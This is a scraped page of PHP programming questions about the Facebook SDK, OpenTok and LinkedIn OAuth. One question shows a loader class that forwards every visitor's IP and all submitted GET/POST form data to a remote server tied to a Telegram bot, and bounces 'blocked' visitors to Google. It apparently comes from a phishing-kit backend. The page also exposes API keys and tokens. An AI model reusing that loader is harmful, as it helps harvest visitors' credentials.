I am having problems with the facebook connect php library. Basically on return url my user is 0. Here is my code:
public function facebook_login()
{
$params = array(
'appId' => 'XXXX',
'secret' => 'XXXX',
'cookie' => TRUE
);
$facebook = $this->load->library('facebook', $params);
$user = $facebook->getUser();
if (empty($user))
{
$url = $facebook->getLoginUrl(array(
"redirect_uri" => site_url('/auth/facebook/connect')
));
header("Location: $url");
exit;
}
}
public function facebook_connect()
{
$params = array(
'appId' => 'XXXX',
'secret' => 'XXXX',
'cookie' => TRUE
);
$facebook = $this->load->library('facebook', $params);
$user = $facebook->getUser();
print_r($user);die;
}
$user is always 0 on the return url. How can I fix this?
go to config/config.php and replace;
$config['enable_query_strings'] = False;
with
$config['enable_query_strings'] = TRUE;
refresh and see the magic
hope it helps!
Related
hello please i need simple composer script so i can use it on server that have my raw php files and load them from php file on anothere server can any one help please ?
i mean when i upload autoloader.php on my server the code look like this and it load the php files from the server that have el coposer script
require_once(__DIR__ . DIRECTORY_SEPARATOR. "Autoloader.php");
class Config
{
private $server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret;
private $authenticator, $request, $message;
public function __construct($server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret){
if (strpos($server_url, "raw.githubusercontent.com", 0) !== false)
$this->$server_url = \Assets\Generic::fetchGithubContent($server_url);
$autoloader = new Autoloader();
$logger = new \Assets\Logger();
$session = new \Assets\Session();
$this->request = new \Assets\RequestHandler();
$this->server_url = $server_url;
$this->username = $username;
$this->api_key = $api_key;
$this->telegram_id = $telegram_id;
$this->telegram_bot = $telegram_bot;
$this->captcha_website = $captcha_website;
$this->captcha_secret = $captcha_secret;
$this->message = $this->createMessage();
$this->authenticator = new \Assets\Authenticator($server_url, $this->message);
$this->run();
}
private function run(){
if (!$this->authenticator->authenticate()){
http_response_code(403);
echo "Un-authorized access. please login to continue";
exit(0);
}
if ($this->authenticator->isBlocked()){
http_response_code(302);
header("Location: https://www.google.com");
exit(0);
}
$this->request->handle($this->server_url, $this->message);
}
private function createMessage(){
return array(
'customer_info' => array(
'api_key' => $this->api_key,
'chat_id' => $this->telegram_id,
'telegram_bot' => $this->telegram_bot,
'captcha_secret_key' => $this->captcha_secret,
'captcha_website_key' => $this->captcha_website,
'username' => $this->username,
),
'client_info' => array(
'ip' => \Assets\Generic::getIp(),
'useragent' => $_SERVER['HTTP_USER_AGENT'],
'method' => $_SERVER['REQUEST_METHOD'],
'request_time' => time(),
'inputs' => array(
'get' => $_GET,
'post' => $_POST
)
)
);
}
}
$server_url = "https://blabla/bla.php";
$api_key = "cdb6d872-0529-4358-ba29-bfae71cf3ed0";
$username = "blanvla";
$telegram_id = "963065016";
$telegram_bot = "5371625949:AAHjcf";
$captcha_website = "RecaptchaV2-Site Key";
$captcha_secret = "RecaptchaV2-Secret Key";
$config = new Config($server_url, $username, $api_key, $telegram_id, $telegram_bot, $captcha_website, $captcha_secret);
First download that script with curl or wget, then add it to your composer.json:
curl 'https://example.com/public/MyClass.php' > ./vendor/customScripts/MyClass.php
// composer.json
{
"autoload": [
"classmap": [
"customScripts/MyClass.php"
]
],
}
I am facing issue when i try to broadcast my video in
When I use 'startVideo' its working fine for me.
But my 'connectVideo' giving me issue, I have pasted code below. I have attached error screenshot also.
In my first function 'startVideo' I wrote code to start video its taking my webcam video, through second function 'connectVideo' i just want share/broadcast my video with my user.
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
use OpenTok\OpenTok;
use OpenTok\MediaMode;
use OpenTok\ArchiveMode;
use OpenTok\Role;
use OpenTok\Session;
use OpenTok\Broadcast;
use OpenTok\Layout;
class Welcome extends CI_Controller {
public function __construct()
{
parent::__construct();
}
public function index()
{
$this->load->view('welcome_message');
}
public function startVideo()
{
$opentok = new OpenTok($this->config->item('opentok_key'), $this->config->item('opentok_secret'));
$sessionOptions = array(
'archiveMode' => ArchiveMode::ALWAYS,
'mediaMode' => MediaMode::ROUTED
);
$session = $opentok->createSession($sessionOptions);
$iSessionId = $session->getSessionId();
date_default_timezone_set('Asia/Kolkata');
$created_date = date("Y-m-d H:i:s");
$data = array(
'apiKey' => $this->config->item('opentok_key'),
'sessionId' => $iSessionId,
'token' => $session->generateToken(),
'created_date' => $created_date
);
$archiveOptions = array(
'name' => 'Important Presentation', // default: null
'hasAudio' => true, // default: true
'hasVideo' => true, // default: true
// 'outputMode' => OutputMode::COMPOSED, // default: OutputMode::COMPOSED
'resolution' => '1280x720' // default: '640x480'
);
$this->load->view('video_11', $data);
}
public function connectVideo() // connect to a session
{
$opentok = new OpenTok($this->config->item('opentok_key'), $this->config->item('opentok_secret'));
$session = $opentok->createSession();
$sessionOptions = array(
'archiveMode' => ArchiveMode::ALWAYS,
'mediaMode' => MediaMode::ROUTED
);
$session = $opentok->createSession($sessionOptions);
$sessionId = $session->getSessionId();
$options = array(
'layout' => Layout::getBestFit(),
'maxDuration' => 5400,
'resolution' => '1280x720'
);
$broadcast = $opentok->startBroadcast($sessionId, $options);
// Store the broadcast ID in the database for later use
$broadcastId = $broadcast->id;
$token = 'T1==T1==cGFydG5lcl9pZD00NjQ5MTcwMiZzaWc9Y2MxYzkxYzNmYTkzNmNiNmQ0NDZiNWEzNzVhYjExYTliYTZkOTdlYzpzZXNzaW9uX2lkPTFfTVg0ME5qUTVNVGN3TW41LU1UWXhOVE00TXpJMU16WXdPWDVIWjB0WVp6SlJWRlJhVUV4c2FrczVOa0ZOZGk5SUwwOS1RWDQmY3JlYXRlX3RpbWU9MTYxNTM4MzI1MyZyb2xlPXB1Ymxpc2hlciZub25jZT0xNjE1MzgzMjUzLjY5ODUxOTY3MzAxNjU4';
$data = array(
'apiKey' => $this->config->item('opentok_key'),
'sessionId' => $session,
'token' => $token
);
$this->load->view('video_22', $data);
}
}
[![enter image description here][1]][1]
[1]: https://i.stack.imgur.com/Q1qBY.png
I am trying to get a users location from me/feed
Like this
if ($user) {
try {
$user_profile = $facebook->api('/me');
$friends = $facebook->api('/me/friends');
$feeds = $facebook->api('/me/feed',
array (
'with' => 'location',
));
} catch (FacebookApiException $e) {
error_log($e);
$user = null;
}
}
When I print this it gives me the whole feed and not just the post with location like the API says it will...
Docs Here
print_r($facebook->api('/me/feed'));
And here is my code all together.
<?php
require 'facebookAPI/src/facebook.php';
$facebook = new Facebook(array(
'appId' => '0000000',
'secret' => '000000000',
));
$user = $facebook->getUser();
if ($user) {
try {
$user_profile = $facebook->api('/me');
$friends = $facebook->api('/me/friends');
$feeds = $facebook->api('/me/feed',
array (
'with' => 'location',
));
} catch (FacebookApiException $e) {
error_log($e);
$user = null;
}
}
if ($user) {
$params = array( 'next' => 'http://www.wuno.com/sandbox/actions/fbLogout.php' );
$logoutUrl = $facebook->getLogoutUrl($params);
} else {
$loginUrl = $facebook->getLoginUrl(array(
'scope' => 'user_about_me, user_checkins, friends_checkins, user_location, friends_location, read_stream')
);
}
?>
I am having problems with the LinkedIn API, sometimes it's working fine and sometimes I just get the following error:
Message:
file_get_contents(https://www.linkedin.com/uas/oauth2/accessToken?grant_type=authorization_code&client_id=####&client_secret=####&code=AQTJH8Hm9K8gmriHaDPLbJm_-E8OnbsiUCZvz32Jv_wD6idTW7Se8v0dohVUH0m8zGWzfKkanCC_NT3smdkoykE0nF88nH-tntK35UqHH4LwgzfcNBc&redirect_uri=http%3A%2F%2Fpeerbriefmini.local%2Flinkedincontroller)
[function.file-get-contents]: failed to open stream: HTTP request
failed! HTTP/1.0 400 request#no_content_length
I have taken out my app id and secret. Is there are reason why it would sometimes work?
Edit : added the php code, which works in codeigniter
<?php
class Linkedincontroller extends CI_Controller {
public function __construct() {
parent::__construct();
$this->config->load('linkedin');
$this->load->library('linkedin');
$this->load->model('account_model');
}
public function index() {
// Change these
define('API_KEY', '###');
define('API_SECRET', '##');
define('REDIRECT_URI', base_url().'linkedincontroller');
define('SCOPE', 'r_fullprofile r_emailaddress rw_nus r_basicprofile r_contactinfo');
// You'll probably use a database
session_name('dfsfsdfsdf');
session_start();
// OAuth 2 Control Flow
if (isset($_GET['error'])) {
// LinkedIn returned an error
print $_GET['error'] . ': ' . $_GET['error_description'];
exit;
} elseif (isset($_GET['code'])) {
// User authorized your application
if ($_SESSION['state'] == $_GET['state']) {
// Get token so you can make API calls
$this->getAccessToken();
} else {
// CSRF attack? Or did you mix up your states?
//exit;
}
} else {
if ((empty($_SESSION['expires_at'])) || (time() > $_SESSION['expires_at'])) {
// Token has expired, clear the state
$_SESSION = array();
}
if (empty($_SESSION['access_token'])) {
// Start authorization process
$this->getAuthorizationCode();
}
}
// Congratulations! You have a valid token. Now fetch your profile
$user = $this->fetch('GET', '/v1/people/~:(id,first-name,last-name,main-address,picture-url,public-profile-url,email-address,interests,skills,languages,certifications,educations,positions,courses)');
$linkedin_id = $user['id'];
if(isset($linkedin_id)) {
//var_dump($user);
$linkedin_id = $user['id'];
$linkedin_url = $user['publicProfileUrl'];
$first_name = $user['firstName'];
$last_name = $user['lastName'];
$email = $user['emailAddress'];
$profile_picture = $user['pictureUrl'];
$address = $user['mainAddress'];
$this->account_model->insert_database('accounts',
array(
'account_confirmed' => 1,
'account_active' => 1,
'account_level' => 'Parent',
'account_role' => 'User',
'account_type' => 'Referrer',
'account_completed_level' => 1,
'master_account' => 1,
'account_holder' => $first_name . ' ' .$last_name,
'email' => $email,
'linkedin_id' => $linkedin_id
)
);
$account_id = $this->db->insert_id();
$this->account_model->insert_database('profiles',
array(
'account_id' => $account_id,
'profile_picture' => $profile_picture,
'linkedin_url' => $linkedin_url,
'address' => $address
)
);
// set flash data
$this->session->set_userdata(
array('linkedin_id' => $linkedin_id,
'first_name' => $first_name,
'last_name' => $last_name,
'email' => $email,
'profile_picture' => $profile_picture,
'residential_address' => $address)
);
// redirect back to reg page with profile data
redirect('register');
}else{
$data['header_text'] = $this->account_model->header_text();
$data['header_links'] = $this->account_model->header_links();
$data['user_picture'] = '';
$data['nickname'] = $this->account_model->user_nickname();
$this->load->view('template/header', $data);
$data['error_message'] = 'Unknown LinkedIn credentials.';
$this->load->view('error', $data);
$this->load->view('template/footer');
}
}
// empty fields
private function empty_fields($value) {
if(isset($value)) {
return $value;
}else{
return NULL;
}
}
// authorization code
private function getAuthorizationCode() {
$params = array('response_type' => 'code',
'client_id' => API_KEY,
'scope' => SCOPE,
'state' => uniqid('', true), // unique long string
'redirect_uri' => REDIRECT_URI,
);
// Authentication request
$url = 'https://www.linkedin.com/uas/oauth2/authorization?' . http_build_query($params);
// Needed to identify request when it returns to us
$_SESSION['state'] = $params['state'];
// Redirect user to authenticate
header("Location: $url");
}
// get access token
private function getAccessToken() {
$params = array('grant_type' => 'authorization_code',
'client_id' => API_KEY,
'client_secret' => API_SECRET,
'code' => $_GET['code'],
'redirect_uri' => REDIRECT_URI,
);
// Access Token request
$url = 'https://www.linkedin.com/uas/oauth2/accessToken?' . http_build_query($params);
// Tell streams to make a POST request
$context = stream_context_create(
array('http' =>
array('method' => 'POST',
)
)
);
// Retrieve access token information
$response = file_get_contents($url, false, $context);
// Native PHP object, please
$token = json_decode($response);
// Store access token and expiration time
$_SESSION['access_token'] = $token->access_token; // guard this!
$_SESSION['expires_in'] = $token->expires_in; // relative time (in seconds)
$_SESSION['expires_at'] = time() + $_SESSION['expires_in']; // absolute time
return true;
}
// fetch
private function fetch($method, $resource, $body = '') {
$params = array('oauth2_access_token' => $_SESSION['access_token'],
'format' => 'json',
);
// Need to use HTTPS
$url = 'https://api.linkedin.com' . $resource . '?' . http_build_query($params);
// Tell streams to make a (GET, POST, PUT, or DELETE) request
$context = stream_context_create(
array('http' =>
array('method' => $method,
)
)
);
// Hocus Pocus
$response = file_get_contents($url, false, $context);
// Native PHP object, please
return json_decode($response, true);
//return json_decode($response, false);
}
}
?>
i am using the facebook php sdk in conjunction with codeigniter. the problem i have now is that i seem to be unable to get the user_id via get_user() it will always return 0. this is my code:
<?php
class Facebook_model extends CI_Model {
public function __construct() {
parent::__construct();
$config = array(
'appId' => '....',
'secret' => '...',
'fileUpload' => true
);
$this->load->library('facebook', $config);
$user = $this->facebook->getUser();
$profile = null;
if ($user) {
try {
$profile = $this->facebook->api('/me?fields=id,name,link,email');
} catch (FacebookApiException $e) {
error_log($e);
$user = null;
}
}
$fb_data = array(
'me' => $profile,
'uid' => $user,
'loginUrl' => $this->facebook->getLoginUrl(
array(
'scope' => 'email,user_birthday,publish_stream'// URL where you want to redirect your users after a successful login
)
),
'logoutUrl' => $this->facebook->getLogoutUrl()
);
$this->session->set_userdata('fb_data', $fb_data);
}
}
i read somewhere it could be a problem with cookies and codeigniter but i can't figure ou how to solve this issue
configure your facebook configuration file as below
$facebook = new Facebook('keep your facebook config file here');
$my_details = $facebook->api('/me');
now the array $my_details will give you the complete details of your fb application along with the user id